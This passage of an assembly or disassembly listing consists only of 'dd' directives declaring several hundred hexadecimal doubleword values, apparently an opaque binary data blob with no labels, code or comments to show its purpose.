		dd 208CB7Ch, 71AD5C48h,	9980E48Eh, 6E2822CBh, 0DE14C700h
		dd 886BCD8Fh, 0A1AE0068h, 9F1954A7h, 0DB98DD17h, 0CEC9DB01h
		dd 47F95C6Ch, 6C85BC4h,	5FD62223h, 16071044h, 0C0B5186Bh
		dd 308EF440h, 7B8F00FDh, 1D923E69h, 5600FEF5h, 0C7EF666Dh
		dd 0E359D4DDh, 7ED58E0h, 0D7390402h, 9F00DEB7h,	1446273Eh
		dd 0E0BD1200h, 78E6A31Dh, 86B9DDE2h, 68DD5494h,	0B6647601h
		dd 620B5D69h, 0BA51DCh,	29BB0A98h, 594BB828h, 533E3Fh
		dd 0AD69B5D0h, 3D9A269Eh, 1D751EA5h, 8F3B2303h,	56005A94h
		dd 49800D1Ah, 0F084FA00h, 0B8A604A0h, 999500E9h, 8E4591B2h
		dd 5D007A76h, 15E03AB9h, 6F997h, 0FA84FEC7h, 4D384E08h
		dd 7100DD70h, 43EA3C6Eh, 1C9A071Eh, 989B7528h, 0F984214Fh
		dd 0F645BD00h, 480D226h, 0D4411C7Eh, 1D006CD9h,	0DAEF47A1h
		dd 0AA40E063h, 0A5771333h, 8053773Fh, 0A615CB89h, 1F38C38h
		dd 7F5485B3h, 86315BE5h, 0B6676E61h, 0AA120386h, 0AD193825h
		dd 18586AD0h, 0DBCE9200h, 0E2F994A8h, 0FE9303C7h, 0E502FD19h
		dd 43FAF798h, 0B0CFA00Eh, 49A18001h, 0FB77262h,	5C31391Bh
		dd 0D038E580h, 8F07AA8Ah, 3015E268h, 4DC80089h,	363673Bh
		dd 7A606551h, 0E6B0565Eh, 0D10042D9h, 0E448B577h, 8716Ch
		dd 0CF850BBh, 0FF7DDFBh, 338BC503h, 0A1AE09CBh,	0B0CB8416h
		dd 725FFDh, 5826D5D3h, 18FF7FF6h, 0AD378607h, 0FD40BFE2h
		dd 0E7EF7C5h, 78CF5CF0h, 2DE5880h, 0C738D38Bh, 3357079Fh
		dd 0D680CB22h, 33BE2DAh, 0C101AD68h, 0D4E015EEh, 4000EFB3h
		dd 0BE34C3DCh, 170CD64h, 0F660236Ah, 0C0CC4457h, 0FE7EE18Fh
		dd 0B31FCB72h, 51932B06h, 0E6E98300h, 0EABC2A32h, 0FD441EBEh
		dd 5BDE54h, 3F014B6Fh, 500EDFC7h, 0A0C120F6h, 0D22476B0h
		dd 0FCA800E8h, 0DD2F7CEBh, 41001F9Dh, 46394A98h, 0F44487h
		dd 278E5864h, 0B868EB05h, 0B4BBCA1Fh, 851C7E7Eh, 4C7F1C9h
		dd 0B5609D22h, 15620D3h, 7D526C67h, 0D42D736Eh,	5A076859h
		dd 0DAE4DFEEh, 80339BB0h, 0D97100F9h, 0DC7CFC75h, 7474F84Fh
		dd 3025C100h, 0F033BD7Ah, 98152FA5h, 0D1D468C0h, 2D9B6600h
		dd 137934D3h, 6F42002Fh, 0E4977B28h, 780B1595h,	8145498Ch
		dd 58F675CFh, 19C9D8h, 0C338375Bh, 6BC43496h, 0BEBCC807h
		dd 5E40DE10h, 3E2F369Ch, 371FE6E7h, 0DC80C050h,	8B536E42h
		dd 0A40F7500h, 163126C2h, 0FB66009Eh, 4FDE0A55h, 85707110h
		dd 0F2756300h, 7447738Dh, 0EC0F1F46h, 0EFC7C0DBh, 0B6B99E93h
		dd 92CD5100h, 5BB7360Ch, 0AFB00065h, 951680C0h,	7800199Dh
		dd 0D1EAE71Dh, 39E50E6Bh, 9A01E14Bh, 0ACDF8729h, 5B0AC499h
		dd 10C04Ch, 68D23832h, 7AAB4A0h, 3E4D9D9Fh, 0FE22083h
		dd 5898A5E6h, 0B70E5Ch,	75E1BC36h, 3E3E043Bh, 0C843AB7h
		dd 0C05361E0h, 6545B5A0h, 891327FEh, 9800F0C0h,	9C1E317h
		dd 75870084h, 0AA0BAA7h, 0F700E867h, 0F4BED42h,	7D21241h
		dd 9A9B7CDAh, 79D8D24Eh, 20E302C1h, 5738C2DCh, 0E9E1840Bh
		dd 9CD0B716h, 73543E88h, 604020CAh, 47D4B300h, 6DDCF1F5h
		dd 5F7D127Ch, 0D817A0DDh, 80346E00h, 973EA288h,	2498C01Bh
		dd 0FE31B23Ch, 0D520220Bh, 5B4F8199h, 23ECED8Fh, 6A20085h
		dd 6E3CFBE4h, 0D00A0EFh, 41DD862Ch, 0B1BC0FEh, 4D8A203Ah
		dd 0A54F3A00h, 471C6583h, 0CE40502Dh, 9564D18Ch, 0C079DEh
		dd 57AE701Ah, 126F46C9h, 0F7DC3Ch, 54394302h, 1F7A5Ch
		dd 90CF3C1Dh, 568104F1h, 4D738B00h, 977E27DEh, 0E6260B9Bh
		dd 2400FD8Ch, 6E29756Fh, 5B635D0Fh, 2F73035Ch, 5862B050h
		dd 906BE659h, 56A009Ch,	6F099603h, 690F7465h, 0A05F458Fh
		dd 6B7C2868h, 0EC2E038Dh, 0F7F824AAh, 47865DC8h, 1F0A63Eh
		dd 0ABDE06E8h, 0D3F8E3DAh, 9F291D6Bh, 6F0A8CEh,	0FF854B05h
		dd 347E2850h, 0EA0DAC90h, 6CE3E0AEh, 0C81F2C40h, 3890E5h
		dd 0D97BFB0Fh, 0DF04FF48h, 0D274F60Fh, 0F80013ACh, 77CE1AE5h
		dd 0B50B06Ah, 0EE5BE3BEh, 56932C00h, 0ED004F4Ah, 6D408811h
		dd 0C40896h, 3805FCDh, 0B59C7065h, 5856EC24h, 407C500Fh
		dd 5B6E597Bh, 2657587Dh, 6D03793Bh, 6652765Ch, 0D8427FF0h
		dd 613FB61Eh, 415E1500h, 1E847546h, 0C5506B26h,	8152405Fh
		dd 0D405A32Ah, 1E2474CEh, 902018C1h, 38292F40h,	12747126h
		dd 3D435Dh, 577CD96Ah, 0BE00B2B0h, 0AEBB029Ch, 0F2CD30A0h
		dd 4D31E190h, 0F210420h, 0BE019DBFh, 609B17C1h,	0FFDA30E8h
		dd 6500B875h, 0F3646E39h, 0A88667h, 0F57D8D17h,	363A3409h
		dd 1E05FA3Eh, 8280F4C8h, 7ABB6CFFh, 525D001Dh, 0FD55765Fh
		dd 0F107A8CFh, 9F03C762h, 8064DCC2h, 76E5FFB0h,	9CC9073Ch
		dd 41CA5106h, 0FC334A08h, 7B00B521h, 7DE07947h,	5FDCD7h
		dd 26F25C3Dh, 5B6C19F9h, 810C3Eh, 0F31E745h, 0B35FB5h
		dd 4972C8E4h, 9029D64Ch, 9CE38C05h, 0B819498h, 2BD46EB0h
		dd 3D370AAh, 5B35F7B2h,	6DD03B7Ah, 1038F323h, 0F87F03A5h
		dd 0B86186FAh, 1E8FC9E4h, 8154D55Ch, 2E99A697h,	37A2CC98h
		dd 0A3039179h, 15DE518Fh, 0AA46C88Ah, 0A0C300C6h, 8DEAF14Ch
		dd 0A2000247h, 0DD688705h, 95DA501h, 0FC282C10h, 89C3A400h
		dd 3926320Dh, 9781F08Ch, 8EC73433h, 0C635CCh, 0D636318Fh
		dd 0EDFBE699h, 0D0C20300h, 0E3A9EBD5h, 0C50C00F6h, 0B2E9D7D8h
		dd 89243E58h, 0C100A4F5h, 2BC8BB32h, 1647CD4h, 87AC4C9Ch
		dd 2123471Eh, 30B9CCA0h, 0E0280B01h, 27714D29h,	94CE8941h
		dd 0A5F09021h, 0FA8113F5h, 0C535037Eh, 1DE88FE8h, 2171CAE0h
		dd 1431B400h, 28818285h, 59E60923h, 0DC87E383h,	432B8003h
		dd 200110Bh, 2A212EF4h,	73D50FB9h, 22BB0914h, 0E0A058D6h
		dd 6A692461h, 2302B09Ah, 61D42EDh, 5D94C098h, 22F600C8h
		dd 8D059DA3h, 7A490CB2h, 97B300FCh, 51FE9928h, 52CE3085h
		dd 20FAF950h, 6F806D50h, 0FBF4C100h, 3D72AFA1h,	7C65005Ah
		dd 89E92C46h, 8004161h,	0A0E6A5CFh, 6774Fh, 0B095EC84h
		dd 31E2813Fh, 24121BE4h, 0F0017252h, 55EBC3E5h,	2CC8BCFCh
		dd 8038D27Dh, 4CEEC5E1h, 575C9B04h, 0DD8A00B0h,	5DE37D66h
		dd 6CB1C037h, 4817AC81h, 8B2A9900h, 0C147074Ch,	442E18FAh
		dd 0CAE3026Ah, 0D800BD4Ah, 170E41A4h, 29FE3EE5h, 0C0C6A01Fh
		dd 5F1091B6h, 274ABD7Eh, 0E97D9C02h, 0C5520006h, 280722FDh
		dd 0F8C45B1Eh, 927EE320h, 90415013h, 6DCF09CAh,	0E0C63ADh
		dd 46FE6F98h, 20408F30h, 0A3E6DEh, 0E9113B23h, 16C661B8h
		dd 0E0AE0530h, 2570B94h, 0E70D804Dh, 9C982667h,	0DCB2BECFh
		dd 87FB733Dh, 0EB785DDFh, 0C8D03DA7h, 3A302A23h, 0AB03E5C1h
		dd 7CF46892h, 53A04ED0h, 2D18B0ECh, 62189091h, 0A414902Ch
		dd 42213024h, 3A499880h, 0C9BCB254h, 44F34D00h,	947C4B9h
		dd 953605B5h, 4A6E202Dh, 8040BDD8h, 0D146B32Eh,	23249B6Ah
		dd 2A0438DAh, 30832294h, 8003D9D5h, 0E1B440A4h,	8007C6B9h
		dd 0D50ED831h, 58AC330Ah
		dd 0E61F9426h, 17494F63h, 7DE77EA0h, 3A19D6C9h,	44C08A2Dh
		dd 0ADCFB0F3h, 966230EFh, 9C51792Ah, 0D52CF107h, 0DB27FB57h
		dd 0DC0681F1h, 0E0DEF60h, 3850D958h, 5921C6C0h,	0A92EA570h
		dd 6F07FC49h, 0A703C2EBh, 0ABCA1C0h, 0A4431184h, 5487C0B3h
		dd 4288C4Ch, 0C1E0D66Ch, 0DDD5D602h, 4110CF30h,	9B2002ECh
		dd 111F30BEh, 0B8A6D010h, 8E94EA00h, 1D2D7708h,	3098752Bh
		dd 0BD905F1Fh, 0E31CBA81h, 0F46AD9B0h, 78BBF212h, 1544E440h
		dd 4908B4B3h, 6312788Dh, 3C5CC028h, 85016E9Ch, 78EB868Ah
		dd 0C70C7CEh, 0EEE97060h, 0D8A8256Ch, 6D891C0Fh, 0E19530C0h
		dd 0E0FE58h, 0B68C4E0h,	17DE615h, 0C074A135h, 0D0EEE462h
		dd 3007E8CFh, 1394422Fh, 27D3611h, 0DA37B040h, 0D2F002E1h
		dd 5A2A0D66h, 7C5F9460h, 8306B300h, 163F7642h, 3470191h
		dd 4D074F4Bh, 0EDE0CB10h, 17AC15Bh, 51BDA606h, 502811D2h
		dd 0EEE88Dh, 4A86E2DFh,	24B3F393h, 361A8502h, 511FBF3Fh
		dd 0C26E1C3Ch, 3E5D82C8h, 0E977CEE0h, 60F96500h, 0D93F56FAh
		dd 913601FEh, 30CB7E1Ah, 0CAC4059h, 2718C1D8h, 33A0B23Dh
		dd 25C33BCAh, 0DCB126h,	1BC5C20Eh, 7200B426h, 9627D3Bh
		dd 3B8A455Dh, 67804071h, 44435A14h, 1E17F15Eh, 240278BFh
		dd 148D3270h, 2DB9E900h, 8297AFB3h, 91ED00C4h, 28954C0Ah
		dd 7D002B14h, 736EE049h, 4179BBh, 0A23EB5CCh, 7E646955h
		dd 2CA7D01Eh, 0AE1F95FEh, 9821E4h, 50921E3Bh, 0EC2C5C64h
		dd 7B09C09Eh, 60A04255h, 70323EFh, 427E319Dh, 122E40ACh
		dd 1307C28Ch, 0AF014DD3h, 0ADF6DC80h, 8C2D4C53h, 79DC58h
		dd 90CF5C31h, 83394C0Eh, 840DF709h, 0D0C0A019h,	0FEA74CBh
		dd 0EB42611Ch, 451BFAA0h, 4F00C7DAh, 2043471Ah,	0A2327CCh
		dd 0F67E34B5h, 4C5802F8h, 0B47A06CEh, 49B9BD4Ch, 37040310h
		dd 0C824E5BEh, 2A1C1EA7h, 2A4D4FAh, 0E38D630Dh,	5068FFB4h
		dd 0E474EDD7h, 0D45ED500h, 951F603Dh, 0B66700EAh, 8280EC4Fh
		dd 0E53A967Ch, 0CED713DFh, 7DA74500h, 613F5A5Dh, 2E6AF2FDh
		dd 58A02065h, 0EB0DE09h, 47F8009Ch, 64D150A0h, 0B88830A6h
		dd 0C155004Ch, 6DC9297Bh, 9C628D3h, 0EB4005C8h,	0A2BD2054h
		dd 0F532140h, 11B8F7B1h, 93003B42h, 97482D05h, 7798D524h
		dd 2C967B02h, 49802EF9h, 2226A098h, 735BA26h, 0BF360500h
		dd 7E695EA8h, 0D91F0213h, 0B342FC3Eh, 1017E068h, 340A9701h
		dd 0AA625ECCh, 0B0531824h, 57E10088h, 32B8039Fh, 650FCE48h
		dd 0E0C05AD8h, 406312C4h, 3E10B07Ah, 0F0854719h, 43DCFB05h
		dd 4AB59DC0h, 904508E0h, 0B93FE16h, 4B075C40h, 1FBB06ADh
		dd 0A8C68617h, 0D0484CCFh, 96094500h, 0F3D7837Ah, 11C98B0Eh
		dd 3EA8E04Fh, 505AF66h,	45D3EEC1h, 0C18017Dh, 0DC97A9D2h
		dd 3D1675EDh, 384BAD7Ch, 90BCA261h, 609B423Eh, 58A8210h
		dd 0C5893CA6h, 0DB1CD886h, 0E9933D18h, 985BBEC1h, 4F8800A2h
		dd 0C78C0B9Bh, 7B03D5C2h, 0C36A242Eh, 4BD0001Bh, 0F87E6C99h
		dd 0DB3DBBECh, 786F30B1h, 0B89D7375h, 4DF30C11h, 7C583747h
		dd 0C00E55F0h, 4673CDC6h, 1836C7h, 0A73C11FCh, 49294BC1h
		dd 75A36019h, 9C6350C9h, 6DC07459h, 72E7540Bh, 87704C58h
		dd 45301BD4h, 24A50895h, 204BF2Fh, 0ECFFA8B8h, 30E34CE4h
		dd 0F8A85AB0h, 27036DA0h, 1F4CA302h, 7528C008h,	0C1CC1259h
		dd 27F4C13Eh, 9C4CF4AFh, 0E7BA50C0h, 0E8BC2937h, 256490A5h
		dd 1C005194h, 18EFD42Ah, 4011B56Bh, 2564A4h, 4BE692CAh
		dd 941A517h, 6A0ECE7Ah,	0D67A11BDh, 66AF7900h, 925C62A4h
		dd 889508ACh, 24A6E57Ch, 0A2B96E00h, 17F5737h, 0C76D3331h
		dd 0F84BD0BFh, 2838454Fh, 597201C1h, 9FE49A29h,	0F62A60h
		dd 94EDC534h, 0DCD7D3B3h, 0B03C7500h, 4F619D10h, 3A3748Bh
		dd 0CD8489B2h, 7FA8A02Fh, 7E001CD8h, 0B9F4935Dh, 0C71DA80Dh
		dd 0D0AFE510h, 5C371A07h, 0CAB2AD12h, 950C1480h, 99F9C155h
		dd 72827213h, 0A23D7970h, 7BB20FC1h, 9624800Fh,	9065FFECh
		dd 0E9850A1Ch, 9ACEE06h, 0E040EA2Eh, 9F00054Dh,	0D8DB815Ch
		dd 50526Ch, 11CC8A10h, 345FC6A4h, 0D4992DB0h, 1DFFE588h
		dd 780B816Ch, 38A45AABh, 0B2D10050h, 800A966Dh,	137548h
		dd 3BD1F92h, 82F6704Fh,	2C1ED900h, 0C30D9F5Ah, 0CC9738CEh
		dd 55E5B080h, 6D0480DBh, 873C507Dh, 7DDA96AEh, 61603C4Fh
		dd 0C8F6616Ah, 2CC9C0h,	0B228BB24h, 0D6E5FDD2h,	9E10F001h
		dd 874903FEh, 7B7BFE8h,	0A7EE2A0Ah, 0E6A49121h,	1D5A80A8h
		dd 206AAE94h, 86C203ABh, 0B35E891Eh, 300A3EB0h,	0DF00117Bh
		dd 8C01F942h, 96836Dh, 4CD1D7D2h, 4106C5B8h, 0DFE09200h
		dd 0F30BA601h, 27155C31h, 0BAF9830Ch, 2F0B3678h, 8EDD327Eh
		dd 507500E7h, 1F0E1E40h, 7C3E7h, 8E0AFE15h, 5700A969h
		dd 0AF622A6Eh, 0B85C4810h, 6B9F1EADh, 39A54149h, 80139BF6h
		dd 4ED32A19h, 0F5D9A04h, 2CECE4BFh, 0C774B1E5h,	0B802C99Eh
		dd 10E8510Bh, 60787F47h, 8C765F7Bh, 7D7C4601h, 8E49570Eh
		dd 3EE1D0h, 90835B2h, 2123CDD8h, 152EBB7Ah, 0D03BB70Ch
		dd 0D8E19689h, 39127CF7h, 0F080238Ah, 27E46C7h,	0DF76ED5Ah
		dd 0E4434D0Fh, 0AD9DCAD0h, 0ABF73200h, 785047A1h, 25A20015h
		dd 0EE7CC9C4h, 3A006A10h, 0AAF0EDD8h, 32D207Eh,	0A927A814h
		dd 3E982268h, 1800AF16h, 31B584A2h, 0DFFE1Bh, 0D212C227h
		dd 2CAD0741h, 7A821800h, 5C0E5DC4h, 27AB003h, 6D490262h
		dd 70688FDAh, 2500E8D8h, 0B67A7C57h, 91EE752Ah,	0E7198868h
		dd 0AE4CC800h, 1CC31A0h, 0A11E91B1h, 0E774343Fh, 0E70B11D0h
		dd 7A626000h, 0BA7D1B5Dh, 7554000Eh, 404F5B69h,	2B01021Ch
		dd 63BEE9B2h, 9034AD6Fh, 57D52C23h, 3EAB81B8h, 38C79E2Ah
		dd 25C4C60h, 9990F1F0h,	78E461CDh, 3C451074h, 1D02B8BAh
		dd 0C631B28Dh, 5442F4C6h, 0E33461D3h, 0B0A43084h, 41350300h
		dd 63A7CD0Eh, 2F499E2h,	0ECBDA314h, 5184CCC8h, 0F0077D89h
		dd 0ED22D1F0h, 0CA640216h, 0C0616C23h, 9A75714Ch, 88460240h
		dd 0E8FAE7E3h, 676AD440h, 0EA12E5EAh, 0B4C07ABCh, 48C605A5h
		dd 2301B895h, 7E0A8ACh,	380C6341h, 2CA12929h, 50A1128h
		dd 9CB50CD9h, 7216C82h,	0BD7CC0C6h, 0F5C5275Fh,	0E58065D4h
		dd 0C76E132Ch, 0B9D10CC6h, 4B792E7Fh, 0BEAE3F00h, 7D12BBE4h
		dd 0EB4E88h, 8C5408DCh,	6FE7642h, 0E8BF0B01h, 0C613A095h
		dd 7A219063h, 8B289025h, 0D642981h, 0E3664484h,	9FA86F2Ch
		dd 675F1E45h, 1E924B0h,	451C13EEh, 38E2CA44h, 4C8493FCh
		dd 660094E6h, 9B350576h, 5017D723h, 14014C2Ch, 0F6FEE6E2h
		dd 0C06226C5h, 44D6E60h, 120C159Eh, 0B814211Ch,	48EB0382h
		dd 0A4903E3Ch, 692C82B4h, 219180C0h, 278A810Bh,	3980A3AEh
		dd 80A99B67h, 0E93AA69h, 0DA10801Ah, 9909D527h,	0E3655440h
		dd 0E1F37000h, 0C173FBA6h, 0A49B58B9h, 2E947400h, 0E3B22DD9h
		dd 0CFC5B019h, 0C0CA0EE0h, 17E6BBE8h, 20D1FF32h, 42BD02E0h
		dd 44ED9B18h, 0BE63428h, 0CD1946D4h, 51764903h,	67FB0E7h
		dd 0DB269B11h, 0AC3BF4DDh, 5E0014FAh, 8B8FB4A1h, 0A3480241h
		dd 59DF56A2h, 352ED040h, 0E58DDB13h, 1B55B700h,	0F81D1924h
		dd 2CEA00B7h, 516D408Ah, 0AD017AC4h, 8473D854h,	0FACDB321h
		dd 0A0A4C4h, 40D6FCFDh,	6EBAB71Bh, 0E15B6C00h, 48A3BDA2h
		dd 3A4C021Eh, 9E05FFFDh
		dd 0DB430868h, 7F5E310Bh, 30100080h, 1F331F86h,	408BC437h
		dd 871AB23Ah, 6C00DA8Fh, 1780B0F7h, 187362h, 0ECE7AC75h
		dd 678D6E41h, 406CB100h, 5D82DB51h, 0A0AD00E8h,	486152A6h
		dd 380242B4h, 437E8D62h, 8610403Bh, 0B493E87h, 8E707380h
		dd 0F74AE6ABh, 0B040858h, 805ACA74h, 255DD4E4h,	980B0047h
		dd 16F74278h, 920B3EB0h, 8ADABFDh, 0E200DC9Dh, 4F280B4Eh
		dd 802B4896h, 3649B800h, 0CF229B15h, 4BB02F00h,	9A289DE8h
		dd 62BC4C08h, 6EB31400h, 9BC41797h, 0C81C8230h,	1FAABEh
		dd 0F0DA534Fh, 4B7F9E86h, 1F2B9824h, 29BB0800h,	5C6D55F4h
		dd 931FB8AEh, 0A08D92A7h, 0A300FB8Ch, 0B39E98EDh, 961F9DBFh
		dd 0FED10318h, 0E6F8CC25h, 0A892E1BDh, 80FC275Ch, 843EB33Dh
		dd 0FB0B04FCh, 0C3E41DACh, 400954F4h, 0EBD758h,	995D6124h
		dd 447702C5h, 0AAAFB4E5h, 85CFC49h, 0FB3D0058h,	0EF3CDAF8h
		dd 61E89419h, 6BD04500h, 78DBF49Ch, 0FB350ECEh,	0B2C0644Ch
		dd 8A66A306h, 13D26D09h, 0E42C03E2h, 879E8892h,	3AA7819h
		dd 4F3DBF9h, 2003E5A1h,	5812A4EAh, 0D78085DDh, 3F25805Eh
		dd 642CEC38h, 0A6E50034h, 0F443BFB9h, 9FE22400h, 0BD477C02h
		dd 0B25D0017h, 0CCA14C0Ah, 2B000BB3h, 363D260h,	13FCFB05h
		dd 17CD95Eh, 143444EAh,	2169C401h, 3F4EB900h, 7AB02083h
		dd 0C5A70E3Ah, 93A736FBh, 628E2079h, 0E03C1E78h, 3BB1BF9Bh
		dd 5A2A829Ch, 600F257Bh, 13FADEh, 0B877C919h, 2CC13212h
		dd 0BF65E118h, 0D56DB8h, 188B6FC6h, 6FA16C4h, 0F770B5h
		dd 0FD42DD7Dh, 0BCCA68DFh, 0E06DDB07h, 0B4C1Ch,	6935AF10h
		dd 239D0FAEh, 33029C9Bh, 4242906Fh, 2B01D0D8h, 45AA926Dh
		dd 98745642h, 0CFA90F34h, 0A8A01F85h, 0CDAB3C68h, 6AAC6E05h
		dd 64C0CB64h, 0A087C69Dh, 4AB7F0h, 4DB2221Dh, 0B00FA1A3h
		dd 1F92BC00h, 8E91ADBAh, 52EEB4h, 6DF3CC78h, 0AB481E44h
		dd 7671DFF2h, 490080ECh, 121411ACh, 961CE7Ah, 9A02472Fh
		dd 9590C883h, 5CBBBE8h,	650CB100h, 30F75A36h, 7700B440h
		dd 0BEE07391h, 0C5078228h, 975AD5D8h, 53FCBFF0h, 16607B69h
		dd 0C03B4C98h, 881B665Ch, 0A32CCD03h, 4BDF713h,	0C97014C0h
		dd 0F8AC4090h, 0DE07E1h, 0D3F1DFD2h, 0C005E3EAh, 0D0D13Bh
		dd 0FBE5E2AEh, 71254C6h, 29021D98h, 112BA1B2h, 3407DCA1h
		dd 0E4E3BA16h, 97054D3h, 2C92D0C0h, 2138E810h, 9914BA09h
		dd 0CB88807Dh, 0F0834Ch, 0FA446A66h, 5337D52Ch,	96458D00h
		dd 6876D64Bh, 249003h, 0F2CDC983h, 0F8F7CFF9h, 0F407009Eh
		dd 0F533CE87h, 0F6F1E086h, 0A6590096h, 81C3AD3Ah, 0AB009510h
		dd 0CCB62369h, 2971884h, 7E9872A9h, 2440CA48h, 7B00F281h
		dd 0D9C79AD5h, 3B726DC8h, 0C60175FBh, 0E1524D18h, 55B3F567h
		dd 249082C0h, 1100F2E3h, 17944914h, 844659h, 8C614171h
		dd 0E340D373h, 1BA6F113h, 84DF9082h, 0BCA865A8h, 882FE000h
		dd 7B4A37C2h, 8E21F316h, 544864C2h, 9F9F3890h, 446C00Ah
		dd 70E0C6F1h, 841D3A0Bh, 83998039h, 396B03Eh, 0C14FA21Fh
		dd 0F0A1A7C2h, 0A4002B09h, 2F066480h, 94EA4C83h, 885F4803h
		dd 1107EDBDh, 0DB52A825h, 63DAD310h, 82480095h,	7246B477h
		dd 5375381Eh, 7080914Eh, 77EFEAF5h, 6DA201B9h, 0AD579DB0h
		dd 0E29BF352h, 41D870EBh, 0E0B0BF82h, 5CDEBD04h, 14A047B4h
		dd 9DCB8CDh, 0B33B569Fh, 4ECA7440h, 0BA0045EAh,	89E55CC5h
		dd 4C0601CFh, 3701744Dh, 87ECE050h, 318FE5B0h, 9448F8B0h
		dd 11DEF930h, 17FDEE25h, 3218980h, 0D7071884h, 41199800h
		dd 7F3E44D0h, 0DB31F91h, 0DC9C87h, 8095D1BCh, 70BA53FDh
		dd 0A208DE02h, 509251ECh, 0E815E408h, 0E2D90037h, 2D67AFF5h
		dd 0B802EB2Ah, 0CC183A2Eh, 2CF4E875h, 19C70166h, 85F1D782h
		dd 0EC40EA16h, 534879C2h, 9EBA0010h, 581B9211h,	7569E467h
		dd 74630057h, 0AA8DE652h, 0BE19D8DAh, 50F862FBh, 3A5FB2E8h
		dd 0BB07B0DCh, 47CBBD0Eh, 9A23E0ECh, 0E7FE73FEh, 51A6850Fh
		dd 54A160DEh, 210BB2h, 69DC913Ah, 0E50D8CA9h, 0C4009D97h
		dd 9ED530C8h, 44D44CC3h, 5E6D0171h, 2EDC1CE7h, 1F90D045h
		dd 56B3602h, 0AECE9F2Dh, 5C09E0FCh, 9E20604h, 0D310330Eh
		dd 58AF5800h, 0BA037CD4h, 6DB59EE8h, 2D30D022h,	24B9F878h
		dd 0B5CC335h, 0D4120EFAh, 0C0F75860h, 2D0C1A00h, 2379D599h
		dd 2204B889h, 1848049Bh, 940177F0h, 20902EA5h, 0D05091FAh
		dd 0B1F946D9h, 61EA0E68h, 32727720h, 0D05C49Ch,	893DAD60h
		dd 98D610C0h, 979105B2h, 80656369h, 5DE030F4h, 89A40E0Bh
		dd 0CA6707BBh, 804DCBF3h, 1281FAB4h, 0B55B90h, 928BDA5Ch
		dd 980093E0h, 0D729952Fh, 6B2528h, 5D5B6550h, 0FC2C706Eh
		dd 0A8F6ED07h, 0A1252278h, 1460D800h, 8269C8h, 5A204790h
		dd 9C66D23Ah, 0B9CC1504h, 65862574h, 0FA652CF0h, 0A20900C1h
		dd 4029202Ch, 0CB0543F8h, 0EA63EF67h, 74808680h, 0A4EA14h
		dd 0A072DC57h, 0AF84E659h, 7BDB5600h, 67D85BA8h, 733FC5Eh
		dd 0EA5150E8h, 0F4D3699Bh, 7400CD96h, 0F2A43709h, 3AE0785Eh
		dd 7A055DDCh, 0B28B4AD6h, 0C0D08700h, 0D136003Bh, 49DA80h
		dd 4F82056Ch, 72CF9E7Bh, 0A4B1CD0Eh, 0C8DD2009h, 5272122h
		dd 0E997F399h, 709C0306h, 90902E01h, 0D7009B15h, 0CBC6A79Fh
		dd 10135Ah, 9332062h, 79525575h, 0C02ECE26h, 514F8A00h
		dd 3B96FA85h, 0F89DCCDFh, 24C44075h, 0A6538E3Fh, 0CBB4E209h
		dd 0D20238Bh, 8460D7F5h, 752E0483h, 27325B91h, 9450E950h
		dd 3EA9E703h, 0A0961A11h, 4C71CCFCh, 0E04C8869h, 0D1B25F01h
		dd 0EDAD580Eh, 7828CFh,	93BB775Ch, 4C34976Eh, 0D0F6C71h
		dd 51EE92B3h, 0B4DF5925h, 650BB8A8h, 6020806Dh,	1284218h
		dd 6F0B1329h, 0E0C6A0B5h, 71000A40h, 205E2CD9h,	0E6AF806Eh
		dd 0B3830A39h, 84A533h,	0F4C2F90Ch, 1154B9B4h, 0EA409264h
		dd 2AA51DFBh, 90F49857h, 960CBFC7h, 10F5DCFFh, 675B0395h
		dd 1CC83D85h, 72B0F8D0h, 5D6A5600h, 0CA2E1FE2h,	74E1C5FDh
		dd 7778B494h, 6AB76504h, 10E0F85Eh, 70DC13BBh, 0C4748871h
		dd 0EC864988h, 0A10638B1h, 891F4A80h, 8E23C55Dh, 833E4D2Ch
		dd 3F73CD01h, 5BC0CF9Fh, 0DBC600ACh, 0F54BF493h, 5101CBC8h
		dd 56750806h, 0B9609FD8h, 15FC00D1h, 0AF3B1B87h, 14393752h
		dd 440F133Dh, 6C5A5800h, 251858h, 8B156A3Ah, 0A59DA8E3h
		dd 28071600h, 67DF04A9h, 55481EFAh, 0EDB482B9h,	0EC403E1Eh
		dd 4763AEA0h, 0A38E22F9h, 6BD698E8h, 0F86E0088h, 0DB54F689h
		dd 6F038F62h, 0DDA88BF0h, 0FC48C8E8h, 2CD97F50h, 7622EF2h
		dd 20C25C07h, 0EAFE2CF0h, 6A0FDF0Fh, 0DE4602DAh, 40ECD43Fh
		dd 0E4923901h, 0BE173D00h, 0FD37A00Dh, 0E8180012h, 51781628h
		dd 97A3E0AFh, 0F7749B0h, 0F588B502h, 0FE86A9D6h, 47590087h
		dd 0A4AC565Fh, 0F8B73800h, 0C0E51D65h, 768A00BFh, 0FEFC59D4h
		dd 1B00BA55h, 0EC5640E2h, 39F39Ah, 0A4E9CE84h, 328DCD6Dh
		dd 20E5B337h, 50F3C9CEh, 4080038h, 620AE4Dh, 2D58A14Fh
		dd 9C371F6Fh, 25C73F03h, 6D22B888h, 30C97EDBh, 708BEFAh
		dd 5500A6A2h, 575E471Ah, 0D915D8h, 0EE2D6ED7h, 31B4839Ch
		dd 0A700467h, 1BEF9761h, 4B20FEE4h, 932CD046h, 2DFE272Fh
		dd 2A48AD90h, 0A1EA0F70h, 6F94CE2Bh, 9505A098h,	0EAF5DD08h
		dd 654D00F8h, 0D7FF767Bh
		dd 84B0E7EEh, 0F36A7D00h, 208191C2h, 0A012E63h,	188B8770h
		dd 0E25AD0E0h, 7A74DC88h, 2F0C8D74h, 89473D8Ch,	1E274AC4h
		dd 0A8810068h, 0F087B267h, 1DE8BFE8h, 2CFC418h,	3158D21h
		dd 0C0CA8F47h, 80081AFh, 0B722D792h, 90870C51h,	0E252000Ah
		dd 0A60A0761h, 68CEC867h, 8F6AA37Ch, 5000CDE0h,	0DC8EB3B7h
		dd 0EF84003Ch, 0FC9981AAh, 58CF83A8h, 632D0296h, 89188106h
		dd 9074E04Dh, 6A6F1F7Eh, 5701DAAh, 763B4h, 0F0422114h
		dd 1001748h, 0C22D9EF7h, 0E961F8Dh, 7CBFCF56h, 1700E20Eh
		dd 2E29352Fh, 0DABE3Eh,	1B5DC803h, 0F8BA33h, 0A5F1D405h
		dd 6E996225h, 0E10A2B00h, 0E28034DAh, 0D88A3CBCh, 2CEC7C05h
		dd 6A2980ADh, 260004C7h, 0DA8EF4E8h, 5BFBE2h, 53FE2315h
		dd 0C7B47E60h, 0C43ADEFCh, 3398010h, 8A56359Eh,	0EB9B2C86h
